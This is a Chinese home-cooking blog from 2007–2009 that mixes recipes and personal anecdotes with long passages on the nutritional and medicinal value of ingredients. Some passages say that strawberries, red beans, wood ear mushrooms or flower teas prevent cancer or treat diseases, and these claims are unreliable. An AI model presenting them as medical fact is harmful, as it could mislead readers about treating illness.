【营养功效】蚕豆中含有调节大脑和神经组织的重要成分钙、锌、锰等，并含有丰富的胆碱，有增强记忆力的健脑作用。如果你正在应付考虑或是个脑力工作者，适当进食蚕豆可能会有一定功效。蚕豆中的维生素C可以延缓动脉硬化，蚕豆皮中的粗纤维有降低胆固醇、促进肠蠕动的作用。现代人还认为蚕豆也是抗癌食品之一，对预防肠癌有作用。传统医学认为它能益气健脾，利湿消肿。

【特别提示】蚕豆不可生吃，应将生蚕豆多次浸泡或焯水后再进行烹制。不可多吃，以防胀肚伤脾胃

健康红绿灯】蚕豆含有致敏物质，过敏体质的人吃了会产生不同程度的过敏、银屏性溶血等中毒症状，就是俗称的“蚕豆病”。这是因为体内缺乏某种酶类所致，是一种遗传缺陷。发生过蚕豆过敏者一定不要再吃

做法：
材料：蚕豆300G 、虾米10粒左右、盐1茶匙（5G）鸡精半茶匙、红椒粒少许
步骤：1、蚕豆洗净剥皮后，放在煮锅里，注入清水，水量以刚淹没蚕豆为准


2、中火煮8-10分钟，关火，待蚕豆变温后，放入搅拌机内打匀（连煮蚕豆的水一起放入）


3、炒锅内倒少量油，六成热后将虾米放入炒出香味，再把虾米捞出


4、将蚕豆泥倒入锅内中火煮开，加入盐，鸡精即可出锅！


5、出锅后，将豆泥倒进碗里，放上炒过的虾米和红椒粒装饰！ ]]> http://77462229.qzone.qq.com/blog/1258110080#comment 134218241 Fri, 13 Nov 2009 11:01:20 GMT http://77462229.qzone.qq.com/blog/1258110080 <![CDATA[美食]]> http://77462229.qzone.qq.com/blog/1258109591 傣家风味---傣式凉拌黄瓜(2009-07-31 08:22:50)
标签：美食 傣家风味 香菜 凉拌黄瓜 分类：素食主义


香菜的营养价值香菜中含有许多挥发油，其特殊的香气就是挥发油散发出来的。它能祛除肉类的腥膻味，因此在一些菜肴中加些香菜，即能起到祛腥膻、增味道的独特功效。香菜提取液具有显著的发汗清热透疹的功能，其特殊香味能刺激汗腺分泌，促使机体发汗，透疹。另具和胃调中的功效，是因香菜辛香升散，能促进胃肠蠕动，具有开胃醒脾的作用。
适用人群患风寒外感者、脱肛及食欲不振者，小儿出麻疹者尤其适合；但患口臭、狐臭、严重龋齿、胃溃疡、生疮者少吃香菜；另外香菜性温，麻疹已透或虽未透出而热毒壅滞者不宜食用。
注意事项服用补药和中药白术、丹皮时，不宜服用香菜，以免降低补药的疗效。
用法用量1、香菜是重要的香辛菜，爽口开胃，做汤可以添加。
2、腐烂、发黄的香菜不要食用，因为这样的香菜已经没有了香气，根本没有上述作用，而且可能会产生毒素。
烹调用途：为食用香料。鲜叶初碎，为增加香味及美观的调料，为中国菜常用，亦可作凉菜、面和汤和调料及矫鱼腥味。种子粉末为欧洲人常用之调料，是“咖喱粉”的原料之一。
食用功效香菜辛、温，归肺、脾经；具有发汗透疹，消食下气，醒脾和中的功效；主治麻疹初期，透出不畅及食物积滞、胃口不开、脱肛等病症。

材料：黄瓜一根、番茄一个、小红椒3根、蒜三瓣、香菜5G、盐5G、白糖5G、白醋10ML
做法：
1、将黄瓜洗净，切片，番茄、小红椒、蒜洗净切碎，香菜切段备用。
2、将番茄碎、小红椒碎、蒜碎放入一碗内，调入盐，拌成调味汁，倒在黄瓜片上。
3、淋上白醋，撒上香菜段，吃的时候拌匀即可。

盛夏啤酒好伴侣--干煸麻辣排骨(2009-07-29 08:12:20)
标签：美食 排骨 好伴侣 红椒 姜蒜 分类：荤菜系列


材料：排骨500G、黄瓜一根、小红椒十只、姜一块、独蒜两个、红油豆豉15G、花椒15粒、老抽20ML、料酒30ML、糖5G、盐3G

做法：
1、排骨请店家代为斩成两厘米左右的小排，洗净，沥干水，调入3G盐、15ML料酒，一半量的姜蒜片用手抓匀，放一旁腌制1小时以上。大气热的时候最好放冰箱里冷藏。

2、黄瓜洗净切成3厘米左右的条，小红椒切丝，两种材料用油略微爆炒一下。

3、锅内倒油，8成热后放入排骨煸炒，一至炒到表面金黄，微焦时，捞出。

4、将炒过排骨的油倒掉不用，锅洗后，再倒入油，7成热时放入红油豆豉、花椒、剩下的姜蒜片炒出味儿。

5、放入排骨炒到均匀的裹上料后，倒入另外15ML的料酒，老抽，糖大火炒到汤汁基本收干后，放入黄瓜条、红椒丝，此时调入剩下的盐炒匀，最后撒上芝麻增香。


美味又营养的早餐--优酪乳水果燕麦杯(2009-07-23 08:06:57)
标签：优酪乳 带儿 燕麦片 肥腿 美食 分类：可口小点


（我今天都用四川方言写哈）我家那位小罗同学，最近简直有点活跃。具体表现有很多，今天挑其中一个大反他平时之常态的来摆一下。。。

具体是这个样子的，一次和他在外面完午饭，回家途中，我发现我的鞋子带带儿脱了，就弯下腰去系带带儿，刚弯下腰，眼前光线突然一黑！我抬起脑壳一看，原来是小罗的两条肥腿挡在了我的身前。。。

我纳闷的说：“你杂子喃？挡到我杂子喃？走远点，我要系带带儿！”

小罗瞪起两只眼儿珠珠儿，有点激动的动了下嘴巴，哟，还整的唇语嗦，啥子东西那么神秘哦，由于我们两个多年来的默契，我看出他的意思了：“你前面要曝光了，我帮你挡到起！”

系好鞋带，我有点好奇的看着他，心想：也，这个人咱个突然那么体贴了？以前耍朋友的时候，热恋的时候也没见他这么紧张过我呢？越想心里越甜蜜，搂到他的颈项温柔的问：“LG，你咋个突然这么体贴了呢，简直太护花使者了嘛”。那一天，我都沉浸在甜蜜中，相当温柔的当了一回“紫薇”般的老婆。

但这样一来，却至使以后的无数次系鞋带时，眼前都会突然一黑，被两条肉腿挡住光线。（我那个鞋子带带老是爱脱，再杂个使劲扯紧，它也要脱），后来渐渐的就开始有点烦他这个行为了，终于，我的火气在一次他得意的跳到我眼前时，被他肥硕的肉腿碰到我的鼻子后，而爆发了~~（真的给我碰痛了）

我火冒三丈吼起来：“哎呀，我的鼻子！！！走开走开，不要你挡了，烦得很~~”

他本来还得意洋洋的样子，一下子灰头土脸起来：“老婆，对不起，今天跳凶了，表生气，我看下喃，撞得凶不凶？” 犹豫了一会儿，又不死心的问：“你不是喜欢我当护花使者得嘛？？？？”

“滚远点，二天不准再挡我了！”说完对着他的肥腿使劲掐了一把，只听一声惨叫，为护花使者篇划上完美的句号！

材料：燕麦片60G、各种水果粒60G（品种根据自己家的水果来哈）、优酪乳（就是酸奶）40ML
做法：1、将所有水果都洗净，切成丁，混合均匀，备用。
2、取一只玻璃杯，将燕麦片放入杯底至1/4处，加入混合好的水果丁至1/2处，再加入燕麦片至3/4处，再将剩余的水果丁放在上面。
3、最后，浇上酸奶，再撒上些西瓜粒点缀，还可以插上一片薄片饼干点缀。


黑木耳的营养价值--生椒凉拌黑木耳(2009-07-20 09:33:52)
标签：饮食 养生 黑木耳 红椒 美食 分类：素食主义


黑木耳营养极为丰富，为古代帝王独享之佳品，有“素中之荤”的美誉。

据专家测定，每百克黑木耳含蛋白质10．6克，脂肪1．2克，碳水化合物65．5克，粗纤维7．0克，钙357毫克，磷201毫克，铁185毫克；还含有维生素B1、维生素B2、胡萝卜素、烟酸等多种维生素和无机盐、磷脂、植物固醇等。黑木耳的含铁量为是芹菜的20倍，猪肝的7倍，是一种非常好的天然补血食品；而且含钙量相当于鲫鱼的7倍。

黑木耳具有益智健脑、滋养强壮、补血治血、滋阴润燥、养胃通便、清肺益气、镇静止痛等功效。黑木耳能“益气不饥，轻身强志”。黑木耳中含有丰富的纤维素和一种特殊的植物胶质，能促进胃肠蠕动，促使肠道脂肪食物的排泄，减少食物脂肪的吸收，从而起到减肥作用。黑木耳中的胶质，有润肺和清涤胃肠的作用可将残留在消化道中的杂质、废物吸附排出体外，因此它也是纺织工人和矿山工人的重要保健食品之一。黑木耳中的多糖有抗癌作用，可以作为肿瘤病人的食疗。

东北气温低，木耳生长速度很慢，但质地好，朵大肉厚、弹性大、色泽纯黑，泡后，口感独特，肉大味美，为“耳”中精品。

材料：干黑木耳10朵 小红椒30克 青葱2根 大蒜2瓣 白芝麻少许
调料：白糖15克 香醋15ml 生抽15ml 香油3ml 淀粉5克
做法：
1、将黑木耳用冷水泡发变软后放入5克淀粉洗净，用手择掉木耳的硬结，并将木耳撕成一口大小的块儿，小红椒用剪刀剪成碎块儿。

2、锅中倒入清水，大火煮开后，放入木耳，焯烫半分钟后捞出放凉白开里泡凉。

3、青葱和蒜切成末备用。

4、调入糖，香醋，生抽和香油，搅拌均匀后，与小红椒碎、葱，蒜碎混合在一起，洒上一些熟白芝麻。

外酥内嫩---椒盐茄盒(2009-07-01 08:44:55)
标签：美食 茄盒 椒盐 肉馅 白胡椒粉 分类：荤菜系列


我很少做油炸食品的，一来是做法复杂没耐心，二来是心疼那一锅油，三来，三来当然是现在到处都在宣传油炸食品不健康BLABLA。。。

以前做过一次鱼香茄盒，还算成功，就是过程太繁杂了，这次再精简一点，不用煮汁儿，做个椒盐味的。没想到刚做好时那个香味，把还在懒觉中的"懒人罗"也唤醒了（是啊，都快吃午饭了，这个懒人还在床上扯呼噜）。当某个蓬头乱发，睡眼惺忪的人突然出现在我身后时，还冷不丁儿的被吓了一跳。
“老婆，你今天做的什么菜啊？好香哦~~~”（懒人罗羡媚道）
“椒盐茄盒”（定了定神的我，压住火气回答）
“啥子东西？没听说过呢？我尝一个嘛~~”（某人死皮赖脸的蹭了过来）
“你洗脸漱嘴没？”（火气即将爆发~~）
“嘿嘿，还没有”（懒人罗装可爱中~~）
“快滚去洗————”我大吼一声，一脚踹在他屁屁上（还真有弹性）

材料：猪肉馅150G、长茄一条、姜碎5G、料酒15ML、生抽10ML、盐3G、白胡椒粉3G、鸡蛋一个、面粉30G、淀粉30G、油300ML、椒盐适量

做法：1、茄子洗净，切的时候第一刀不切断，第二刀切断，2片为一组如图2。
2、肉馅中调入姜碎、料酒、淀粉15G、盐和白胡椒粉搅匀。
3、大碗中放入面粉、剩余淀粉，鸡蛋和少许清水调成面糊。
4、取适量肉馅，放入茄夹中，待油六成热时，将茄盒裹上面糊放入油中炸至金黄（约3分钟），捞出沥干油，撒上椒盐即可。


三分钟做好一碗汤--黄瓜皮蛋汤(2009-06-25 09:19:30)
标签：养生 松花蛋 皮蛋 黄瓜 鸡精 美食 分类：靓汤养人


皮蛋的吃法和营养价值:
又名松花蛋、变蛋、彩蛋、碱蛋、泥蛋。

是用石灰等原料腌制后的蛋类食品，因蛋白中常有松针状的结晶或花纹而得名。它是我国传统的风味蛋制品，不仅为国内广大消费者所喜爱，在国际市场上也享有盛名。

将生鸭蛋腌人石灰和谷壳中约50～100天，就变成了半透明的蓝绿色，看起来会老许多，因此英文名为“一千岁”。它的质地坚实，味道浓郁而略带腥味，是中国的美食，通常去壳切片后蒸煮，并放凉供食。
营养价值松花蛋较鸭蛋含更多矿物质，脂肪和总热量却稍有下降，它能刺激消化器官，增进食欲，促进营养的消化吸收，中和胃酸，清凉，降压。具有润肺、养阴止血、凉肠、止泻、降压之功效。此外，松花蛋还有保护血管的作用。同时还有提高智商，保护大脑的功能。
适用人群1、火旺者最宜；
2、少儿、脾阳不足、寒湿下痢者、心血管病、肝肾疾病患者少食。
注意事项松花蛋不宜与甲鱼、李子、红糖同食。
用法用量食用松花蛋应配以姜末和醋解毒；松花蛋最好蒸煮后食用，不宜存放冰箱。
食用功效松花蛋味辛、涩、甘、咸、性寒，入胃经；有润喉、去热、醒酒、去大肠火、治泻痢等功效；若加醋拌食，能清热消炎、养心养神、滋补健身；用于治疗牙周病、口疮、咽干口渴等。
贴士选购松花蛋简单易行的办法是一掂、二摇、三看壳、四品尝。
一掂：是将松花蛋放在手掌中轻轻地掂一掂，品质好的松花蛋颤动大，无颤动松花蛋的品质较差；
二摇：是用手取松花蛋，放在耳朵旁边摇动，品质好的松花蛋无响声，质量差的则有声音；而且声音越大质越差，甚至是坏蛋或臭蛋；
三看壳：即剥除松花蛋外附的泥料，看其外壳，以蛋壳完整，呈灰白色、无黑斑者为上品；如果是裂纹蛋，在加工过程中往往有可能渗入过多的碱，从而影响蛋白的风味，同时细菌也可能从裂缝处侵入，使松花蛋变质；
四品尝：松花蛋若是腌制合格，则蛋清明显弹性较大，呈茶褐色并有松枝花纹，蛋黄外围呈黑绿色或蓝黑色，中心则呈桔红色，这样的松花蛋切开后，蛋的断面色泽多样化，具有色、香、味、形俱佳的特点。

材料：松花蛋2枚、姜一小块、黄瓜一根、盐5G、鸡精3G
做法：1、皮蛋剥壳，姜洗净切片，黄瓜洗净切片。

2、皮蛋用刀切的话容易粘在刀上，用书上介绍的小窍门（用线切皮蛋），如下图，很方便，也不容易散碎。

3、锅内水烧开后，放入姜片和皮蛋，煮2分半钟左右，再放入黄瓜片烫三十秒，调入盐，鸡精即可。


送给熬夜族的一款美容花茶---千日红茶(2009-06-17 08:45:44)
标签：健康 养生 千日红茶 花茶 美食 分类：靓汤养人


熬夜会对身体造成多种损害：

1.经常疲劳，免疫力下降：人经常熬夜造成的后遗症，最严重的就是疲劳、精神不振；人体的免疫力也会跟着下降，感冒、胃肠感染、过敏等等自律神经失调症状都会出现。

2.头痛：熬夜的隔天，上班或上课时经常会头痛脑涨、注意力无法集中，甚至会出现头痛的现象，长期熬夜、失眠对记忆力也有无形的损伤。

3.黑眼圈、眼袋：夜晚是人体的生理休息时间，该休息而没有休息，就会因为过渡疲劳，造成眼睛周围的血液循环不良，引起黑眼圈、眼袋或是白眼球布满血丝。

4.皮肤干燥、长黑斑和青春痘：晚上11时到第二天凌晨3时是美容时间，也是人体的经脉运行到胆、肝的时段。这两个器官如果没有获得充分的休息，就会表现在皮肤上，容易出现粗糙、脸色偏黄、长黑斑和青春痘等问题。对于习惯早睡的人来说，最迟也要在凌晨1时的养肝时间进入熟睡期。而且，更糟糕的是，长期熬夜会慢慢地出现失眠、健忘、易怒、焦虑不安等神经、精神症状。

千日红的营养价值:

果实称白平子，含“红花子”油，油能降胆甾醇和高血脂，软化和扩张血管，防衰老，调节内分泌

【功效】含人体所需的氨基酸、维生素C、E及多种微量元素，具有平肝熄火、明目散结、止咳定喘、清新润肺、调整内分泌紊乱、解郁降火、补血、健脾胃、通经络、消炎、祛斑、特别是治疗内分泌紊乱引起的黄褐斑、雀斑、肝斑、色斑、暗疮有明显疗效。并能降血脂、血压、清热明目、平肝清肺、利尿之效。活血通径、散瘀止痛，还有效治疗经闭、痛经、恶露不行、症瘕痞块、跌打损伤等。


材料:千日红15朵冰糖适量
做法:1、将千日红放入茶壶内，将烧开的水注入壶内至1/3处。

2、拿起壶轻轻摇匀，再将水倒出不要，此为洗茶。

3、在壶内放入冰糖，注入开水，用勺搅拌一下，盖上盖闷五分钟即可。


节后清清火---清热去火双花茶(2009-05-31 11:21:43)
标签：美食 养生 花茶 茶壶 金银花 分类：靓汤养人


过节期间大家伙儿都吃香喝辣了吧？有没有谁脸上冒出讨厌的小痘痘了？我第一个举手，我的下巴正中央冒出一个大红包，还是很疼的那种，哎，又没脸见人了，你说要是长在额头上，还能用留海遮遮，长下巴上，俺拿什么来拯救你啊~~~~

昨晚上就跑超市买了两包降火的花茶，今天推荐给和我同病相怜的姐妹们

材料：菊花十朵、金银花二十朵、冰糖适量（根据各人口味）
做法：1、菊花与金银花放茶壶里，加入开水到茶壶3/1处，泡两分钟，摇摇茶壶，再将水倒出不要（将花茶洗一下）
2、再在壶里加入开水3/2处，不盖盖，泡几分钟就可以倒出来喝了，如果喜欢有点甜味的，可以在加入开水时放入几粒冰糖，摇匀至融化。我没有加糖，就喜欢那股花茶的清甜味！


圣诞快乐!!---草莓蛋奶布丁(2007-12-25 13:13:45)
标签：美食 分类：可口小点


今儿是圣诞节,小辞祝大家圣诞快乐哈!大家都收到圣诞礼物了吗?

昨儿个是平安夜,小罗又加班,小辞只得独自在家过节,虽说一个人过节，也不能就悄悄然的过了吧，得整点和平时不一样的！有了这念头，中午兴致勃勃的去超市买了过节用的东东，汇报如下：麻辣免头3个,乐事土豆片一袋（青柠味偶的最爱）,棒棒娃麻辣牛肉丝一袋,乖乖米果炼乳味的一袋！啥？一个人吃是挺多的，过节嘛，该庆祝庆祝，减肥计划暂时滚一边去，碰上过节什么都得缓缓是吧！晚上看碟，早就下好了几部电影，边看边吃，小辞觉得这是人生最美好的状态！

草莓的营养我以前介绍过吗,不记得了,还是再写出来巩固巩固吧!这东东不仅外形讨好,味道可口,而且营养也是灰常丰富的哦! 好像还有一个外号"水果皇后"!

草莓属蔷薇科，是多年生常绿草本植物，又称洋莓、地果、地莓、风梨草莓等，在园艺上属浆果类果树，学名Fragaia ananassa Duchesne。

草莓果实鲜嫩多汁、郁香酸甜、风味独特，含糖5-12%，含酸0.6-1.6%，含蛋白质0.4-0.6%，还含有维生素B、C和铁、钙、磷等多种营养成分，是老幼皆宜的上乘水果。草莓不但鲜食可口，也可以加工成多种食品，是人们生活中日益青睐的保健、营养、适口佳品。草莓在药理上性味平、酸、甘，功效清肺化痰、补虚补血、健胃降脂、润肠通便。食用草莓能促进人体细胞的形成，维持牙齿、骨、血管、肌肉的正常功能和促进伤口愈合，能促使抗体的形成，增强

人体抵抗力，并且还有解毒作用。草莓中含有抗癌的异蛋白物质，能阻止致癌物质亚硝胺的合成。草莓含有多种有机酸、果酸和果胶类物质，能分解食物中的脂肪，促进食欲，帮助消化，促进消化液分泌和胃肠蠕动，排除多余的胆固醇和有害重金属。食用草莓对冠心病、高血压、高血脂、动脉硬化、便泌、贫血、肺结核、气虚、消化不良、暑热烦渴、糖尿病、小便频数、遗精遗尿等多种病症有治疗作用。草莓及其制品更是孕妇和老年人不可多得的保健食品。

做法：
材料：全脂牛奶300ML 鸡蛋3个 白糖30克 草莓三个
步骤

1）鸡蛋内放入白糖，用筷子打散备用。草莓洗净，切片备用。


2）牛奶缓缓倒入蛋液中，可分多次倒入，倒入时用筷子充分搅匀，再倒第二次，以此类推直到牛奶全部倒完


3）搅好的牛奶鸡蛋液用筛过滤两次，滤掉气泡， 冷水下锅，（锅盖不要盖严了，留一条小缝，避免蒸出蜂窝）水开后蒸15分钟，关火后不用着急拿出来，焖2分钟后再开盖，放入切好的草莓片，即可！(注:也可以用烤箱隔水烤蒸的方法,今天介绍的这种蒸制布丁的方法更适合家中没有烤箱的JMS)

苦瓜两吃之---苦瓜炒蛋(2008-06-24 10:36:01)
标签：美食 分类：素食主义


小时候，最不喜欢的菜就属苦瓜了，那种苦味和吃药没什么区别，，偏偏老爸很爱吃这道菜，夏天我家里餐桌上最常见的就是这个东东了，，，每次见它如见仇人！老爸常说一句：“吃习惯了你就会觉得它是美味了”，我想算了吧，天下美味之多，也不在乎缺掉这个东东

若干年后。。记得一次下馆子，老爸点了这道菜，刚端上来立刻被那嫩黄配淡绿的色彩吸引住了，，说实话，看起来还蛮有食欲的。。老爸照样重复N年不变的劝说：“吃嘛，吃习惯了你就会觉得它是美味了”，备注：以前家里常吃的是清炒的方式，除了苦瓜的苦味还是苦瓜的苦味，，所以给我留下“吃什么也别吃苦瓜”的阴影，但这次看到这道菜，尽有了想尝试一下的欲望。。刚下筷子，老爸说，你夹着苦瓜和鸡蛋一块吃试试，好吧，听你的，轻轻将淡绿色的苦瓜和嫩黄色的鸡蛋碎一块儿夹起，送进口里，一起咀嚼。。第一感觉，鸡蛋很鲜嫩，苦瓜很脆爽，鸡蛋的鲜味巧妙的掩盖了苦瓜的苦味，苦味来得没有那么浓烈了，仔细品尝，有一种清新的口感，，，后来就再也不拒绝吃苦瓜了，清炒的也照样吃的有滋有味，我自根据老爸的话，总结出我个人的名言：“苦瓜！吃着吃着就习惯了！”

材料：苦瓜一根 鸡蛋两枚
调料：盐一茶匙（5克）糖1/2茶匙（2克左右）
做法：1、苦瓜洗净后，用勺子挖去内瓤，切片

2、鸡蛋打散，加入少许水，搅匀，可使炒出的蛋品感更嫩

3、锅内倒少许油，油至七成热时，倒入蛋液，边缘凝固时，用筷子顺一个方向搅动，可以炒出的鸡蛋碎成型均匀

4、倒入苦瓜一起炒，两分钟左右时，加入调料，炒匀后起锅！

冬日靓汤---胡萝卜香菇炖牛腩(2007-12-27 10:27:33)
标签：我记录 生活变迁 美食 分类：靓汤养人



本来是打算炖一锅羊肉汤的，可惜这段时间羊肉变成了紧缺型资源，还没到卖羊肉的柜台就远远看见一队歪歪斜斜的由大爷大妈们组成的长龙，看着这队伍有顿时产生了放弃的念头，心想晚点再来，好不容易晃悠一大圈，看见队伍只剩个尾巴了，高高兴兴地排了进去，可等我走到羊肉柜台前，已是空空如也，好的时候剩点羊杂啥的，运气不好啥都不剩！哎，真佩服大爷大妈们，不仅起得早，而且排队的耐性超好~~~，得！咱发挥尊老爱幼的精神,过了这段时间再说吧！！

看到旁边卖的牛肉还不错，就挑了两条肥肥的牛腩，回家做牛腩汤吧！

牛肉、胡萝卜和香菇的营养以前都介绍过了，今天介绍一下配料：香菜的营养！

香菜又名胡荽、芫荽、胡菜、香荽、天星、园荽、胡莱。它也是由西汉时张骞出使西域时引入的。它的嫩茎和鲜叶有种特殊的香味，常被用作菜肴的点缀、提味之品，是人们喜欢食用的佳蔬之一。 　　　　
营养分析
香菜中含有许多挥发油，其特殊的香气就是挥发油散发出来的。它能祛除肉类的腥膻味，因此在一些菜肴中加些香菜，即能起到祛腥膻、增味道的独特功效。香菜提取液具有显著的发汗清热透疹的功能，其特殊香味能刺激汗腺分泌，促使机体发汗，透疹。另具和胃调中的功效，是因香菜辛香升散，能促进胃肠蠕动，具有开胃醒脾的作用。

全草含有正癸醛（Decanal）、壬醛（Nonanal）、芳樟醇（Linalool）和维生素C。种子含有挥发油、糖类和含氮化合物。挥发油的主要成分为d-芳樟醇（d-Linalool）、二戊烯（Dipentene,即d-柠檬烯）以及黄酮甙。

相关人群
一般人群均可食用。
　　1.患风寒外感者、脱肛及食欲不振者，小儿出麻疹者尤其适合；
　　2.但患口臭、狐臭、严重龋齿、胃溃疡、生疮者少吃香菜；另外香菜性温，麻疹已透或虽未透出而热毒壅滞者不宜食用。
　　
食物相克
服用补药和中药白术、丹皮时，不宜服用香菜，以免降低补药的疗效。
　　
制作指导
　　1.香菜是重要的香辛菜，爽口开胃，做汤可以添加。
　　2.腐烂、发黄的香菜不要食用，因为这样的香菜已经没有了香气，根本没有上述作用，而且可能会产生毒素。

烹调用途：为食用香料。鲜叶初碎，为增加香味及美观的调料，为中国菜常用，亦可作凉菜、面和汤和调料及矫鱼腥味。种子粉末为欧洲人常用之调料，是“咖喱粉”的原料之一。

食疗作用
香菜辛、温，归肺、脾经；具有发汗透疹，消食下气，醒脾和中的功效；主治麻疹初期，透出不畅及食物积滞、胃口不开、脱肛等病症。
　　
其他相关
《本草纲目》称“芫荽性味辛温香窜，内通心脾，外达四肢”。在实际生活中它确实具有芳香健胃，祛风解毒之功，能解表治感冒，具有利大肠、利尿等功能，能促进血液循环。

备注
久存香菜的方法：将香菜根部切除，择去黄叶，摊开晾晒一两天，编成香肠一般粗细的长辫子，挂在阴凉通风处晾干。或选带根的香菜，将黄叶摘掉，洗净后把香菜逐颗挂在细绳上晾干，然后将香菜取下放在容器内贮藏。食用前用温水把香菜浸泡一会儿。

做法：
材料；牛腩500G 胡萝卜三根 干香菇六朵 香菜5G 姜一块 八角一块


步骤：1、将香菇用温水泡发，洗净，泡香菇的水用细筛过滤两次，备用。


2、牛腩洗净后放入冷水锅中，开火。烧开后煮3分钟左右，将牛肉捞出，水倒掉不要。用温水将牛腩表面的浮沫冲洗干净，凉晾后再放入砂锅中，倒入冷水和刚才泡发香菇的水，大火烧开，放入拍破的姜块与八角，转小火二小时。


3、二小时后放入切好的胡萝卜与香菇一起煲半小时即可出锅了，出锅时在碗内放盐，点缀上香菜即可食用！
冬季小吃--香酥红豆馅饼(2007-12-11 10:40:21)
标签：美食/厨艺 分类：可口小点


小辞今天灰常灰常地高兴啊，因为找到了已经失去联系十几年的好朋友，是的！隆重介绍---我的小学同桌兼死党---玫玫！

玫玫以前在我们学校可是一等一的风云人物啊，为啥？她是我校重点培养的体育尖子，经常代表我们学校参加各种省上的,市里的田径比赛，为学校争了不少荣誉。黑黑瘦瘦的她(希望玫玫看不见这句话,阿门!)，很难想像有着惊人的爆发力，田径赛场上几乎无人能敌！哈哈，夸她也是为了炫耀我有这样一人物型的朋友哈！

小学时期的友谊很简单，能和谁玩到一块儿，就是好朋友，但除了能和她玩得投机外，我坦言，她是我的偶像！这话只能在这儿悄悄说，我从来没在她面前表露过，那不显得我矮她一截吗，更不想她在我面前臭美(这句话她也看不见,阿门again！)

那时候总是喜欢模仿她，她有什么样的文具盒，我也要个一样的，总之她的一切我都想模仿，甚至连她握笔的姿势我都照样模仿，老师夸她字写的好，我也勤锻炼，争取老师的表扬，可是到现在我的字还是见不得人，这是唯一没有模仿成功的事件！

那时候，我们很爱放学后去光顾学校后面的小吃摊，麻辣串串香，炸肉串，棉花糖，等等。。。全被我们尝遍了。买着一样的小吃，沾着一样多的辣椒，一样被辣得直伸舌头，看着对方狼狈的样子又忍不住爆笑出来。。那时最大的爱好是手牵手去逛文具店，买一样的橡皮擦，一样的粉色钱包，一样的粉色背包，一起去人民公园游泳，从背面看还真像一对姐妹（因为啥都一样呗）！

自从小学毕业后，我们就失去了联系，因为忙着学业，也把这段纯纯的友谊埋没了。。。最近我们小学班上的同学在QQ上建了一个群，引发了无限关于小学时期的回忆，想到她，寻问同学们，既然都不知道她的近况，非常失望，但没想到后来在校友录上发现了她曾经留下的一个电子邮箱地址，非常激动的发了一封邮件过去，本没抱太大希望，没想到她居然收到了，而且马上联系我了~~呵呵，就这样，失散的友谊回归啦！


看看关于红豆的介绍:　
红豆又名红小豆、饭豆、米豆、赤豆、赤小豆。
　　红豆富含淀粉，因此又被人们称为“饭豆”，它具有“津津液、利小便、消胀、除肿、止吐”的功能，被李时珍称为“心之谷”。赤小豆是人们生活中不可缺少的高营养、多功能的杂粮。为豆科植物赤小豆或赤豆干燥成熟的种子，秋季果实成熟而未开裂时收获。主产于广东、广西、江西等地。
　　又称相思豆，煮熟后会变得非常柔软，而且有着不同寻常的甜味，风味相当强。红豆原产于中国，是一种一年生灌木的种子，由于具有医疗效用，所以在远东一带颇受重视，数千年来一直将它加入米饭及汤里食用。也由于它们的甜度，所以红豆在东方甜食里是一种常见的材料。
　　营养分析
　　1.赤小豆含有较多的皂角甙，可刺激肠道，因此它有良好的利尿作用，能解酒、解毒，对心脏病和肾病、水肿有益；
　　2.赤小豆有较多的膳食纤维，具有良好的润肠通便、降血压、降血脂、调节血糖、解毒抗癌、预防结石、健美减肥的作用；
　　3.赤小豆是富含叶酸的食物，产妇、乳母多吃红小豆有催乳的功效。
　　相关人群
　　一般人群均可食用
　　1.适宜各类型水肿之人，包括肾脏性水肿、心脏性水肿、肝硬化腹水、营养不良性水肿等，如能配合乌鱼、鲤鱼或黄母鸡同食，消肿力更好；适宜产后缺奶和产后浮肿，可单用赤小豆煎汤喝或煮粥食；适宜肥胖症之人食用；
　　2.赤小豆能通利水道，故尿多之人忌食；蛇咬伤者，忌食百日。
　　食物相克
　　鲤鱼与红豆同煮，两者均能利水消肿，在用于治疗肾炎水肿的时候效果很好,但是正是因为利水功能太强，正常人应避免同时食用二者，尽量隔几个小时再食，是否可以同食因人的体质不同而异。
　　制作指导
　　赤小豆宜与其他谷类食品混合食用，一般制成豆沙包，豆饭或豆粥，是科学的食用方法。
　　食疗作用
　　赤小豆性平、味甘、酸、归心、小肠经；
　　具有健脾利水，解毒消痈，消利湿热的作用。


做法:
材料: 1、水油皮：250克自发粉，60克色拉油，50克糖（口淡的可不加），80克水。
2、油酥：100克面粉，50克色拉油。
3、馅心：红豆沙（现成的超市有售）
4、鸡蛋一个
步骤：1、自发粉放面板上中间留个洞洞，把材料1剩余的东东全部放在洞洞里，和成面团，盖上湿布醒30分钟左右（冬天可以在微波炉里放一杯热水，把面团放入关好门醒30分钟左右）


2、油酥的材料混合均匀,将醒好的面团擀成长方形薄片，上面擦上油酥。


3、将面片卷起，用手轻轻压压面卷，让它表面扁一些，用刀切成等量份子。将一份切好的面皮用手撑开一些，包进豆沙馅，收口。


4、收口后放面板上，用手掌将其稍稍压扁。



5、刷上蛋液后，沾上芝麻，入烤箱200度20分钟一个个香酥可口的红豆馅饼就做好啦

补血养颜---桂圆红枣莲子汤(2007-11-27 10:32:05)
标签：美食/厨艺 分类：靓汤养人


“女人要对自己好点”，这不再是一句口号，姐妹们都努力的把它演变为自己需要的各种生活状态，shopping也好，love game也罢，又或是暴饮美食，只要让自己身心愉悦，与压力say goodbye! 哪怕不被周遭朋友理解也无所谓，只要自己高兴！

小辞也喜欢血拼，也喜欢美食，love game就算了，爱一个人已经够辛苦了，况且小罗是个好男人，我珍惜还来不急呢，呵呵，现在对我来说，最让我身心悦愉的就是做好一顿美味的饭菜，等他下班回家，这就是一天中最幸福的时刻，看着他津津有味的吃着自己亲手做的饭菜，快乐的满足感让我觉得自己就是世上最幸福的女人！

小罗出差的日子，自己就像丢了半个魂，怎么糊里糊涂的过那几天没有他的日子，我也想不起来了，但是吃还是要讲究的，唯一这点不能亏了自己

特别是经期过后的女性，应该进食一些补血类的食品，让自己面色红润万人迷啊~~

所以有了今天这道汤。

桂圆

又称龙眼，为中国南方水果，多产于两广地区。与荔枝、香蕉、菠萝同为华南四大珍果。

其树高一二丈，叶长而略小，开白花，成实于初秋。其实累累而坠，外形圆滚，如弹丸却略小于荔枝，皮青褐色。去皮则剔透晶莹偏浆白，隐约可见内里红黑色果核，极似眼珠，故以“龙眼”名之。

●龙眼的药用

干龙眼即桂圆（桂元、元肉）。

和荔枝性属湿热不同，龙眼能够入药，有壮阳益气、补益心脾、养血安神、润肤美容等多种功效，可治疗贫血、心悸、失眠、健忘、神经衰弱及病后、产后身体虚弱等症。

●龙眼的品种

